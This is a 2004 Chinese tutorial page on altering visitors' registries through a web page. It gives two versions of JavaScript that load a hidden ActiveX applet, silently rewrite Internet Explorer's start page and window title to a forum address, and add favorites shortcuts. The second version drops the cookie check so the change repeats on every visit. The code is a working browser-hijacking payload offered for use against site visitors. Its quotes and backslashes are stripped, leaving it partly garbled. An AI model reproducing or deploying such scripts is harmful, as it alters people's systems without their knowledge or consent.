当前位置:Linux教程 - Php - 用脚本修改用户注册表

用脚本修改用户注册表

用脚本修改用户注册表

作者:clinch  时间:2004-04-24 110329  来自:  责任编辑:clinch








自动加入收藏夹、设为首页
(如果自己试的话,想再试多一次就要清COOKIE,如果是别人的话,就次次都行的)
script
document.write(APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponentAPPLET);

this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc +  + DispName +.URL);
Shor.TargetPath = SiteURL;
Shor.Save();
}
end add favorites or links function

function f(){
try
{
ActiveX initialization
a1=document.applets�;
a1.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B});
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228});
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID({F935DC26-1CF0-11D0-ADB9-00C04FD58A0B});
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf(Chg) == -1)
{
set cookie
var expdate = new Date((new Date()).getTime() + (24  60  60  1000  90));
document.cookie=Chg=general; expires= + expdate.toGMTString() + ; path=;
end set cookie

set home page
Shl.RegWrite (HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, http93e.com);
var expdate = new Date((new Date()).getTime() + (24  60  60  1000  90));
document.cookie=Chg=general; expires= + expdate.toGMTString() + ; path=;
end set home page

add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + Favorites;
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + Documents and Settings + Net.UserName + Favorites;
if(!FSO.FolderExists(loc))
{
return;
}
}
end common part

the following line is used for adding favorites.
to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, 颓废者论坛, http93e.com);
end add favorites


}
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout(f(), 1000);
}

init();

script





经过修改的代码
(经过修改的代码,取消了COOKIE的限制,可以通过它修改注册表中IE的主页设置和标题项。)

!DOCTYPE HTML PUBLIC -W3CDTD HTML 4.0 TransitionalEN
HTML
HEAD
TITLE经过修改的代码TITLE
META NAME=Generator CONTENT=EditPlus
META NAME=Author CONTENT=
META NAME=Keywords CONTENT=
META NAME=Description CONTENT=
HEAD

BODY BGCOLOR=#FFFFFF
script
document.write(APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponentAPPLET);

this function is only needed if you add favorites or links
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc +  + DispName +.URL);
Shor.TargetPath = SiteURL;
Shor.Save();
}
end add favorites or links function

function f(){
try
{
ActiveX initialization
a1=document.applets�;
a1.setCLSID({F935DC22-1CF0-11D0-ADB9-00C04FD58A0B});
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID({0D43FE01-F093-11CF-8940-00A0C9054228});
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID({F935DC26-1CF0-11D0-ADB9-00C04FD58A0B});
a1.createInstance();
Net = a1.GetObject();

try
{
if (document.cookie.indexOf(Chg) == -1)
{
set cookie
var expdate = new Date((new Date()).getTime() + (1));
document.cookie=Chg=general; expires= + expdate.toGMTString() + ; path=;
end set cookie

set home page
Shl.RegWrite (HKCUSoftwareMicrosoftInternet ExplorerMainStart Page, http93e.com);
var expdate = new Date((new Date()).getTime() + (1));
document.cookie=Chg=general; expires= + expdate.toGMTString() + ; path=;
end set home page

set IE title
Shl.RegWrite (HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title, Microsoft Internet Explorer 欢迎光临颓废者论坛 http93e.com);
var expdate = new Date((new Date()).getTime() + (1));
document.cookie=Chg=general; expires= + expdate.toGMTString() + ; path=;
end IE title

add favorites this is the common part; should be here if you want to add favorites
var WF, Shor, loc;
WF = FSO.GetSpecialFolder(0);
loc = WF + Favorites;
if(!FSO.FolderExists(loc))
{
loc = FSO.GetDriveName(WF) + Documents and Settings + Net.UserName + Favorites;
if(!FSO.FolderExists(loc))
{
return;
}
}
end common part

the following line is used for adding favorites.
to add multiple favorites, duplicate the following line, changing the last 2 paramaters.
AddFavLnk(loc, 颓废者论坛, http93e.com);
end add favorites

}
}
catch(e)
{}
}
catch(e)
{}
}

function init()
{
setTimeout(f(), 1000);
}

init();

script
已经设置成功!(已经取消了时间COOKIE的限制)
BODY
HTML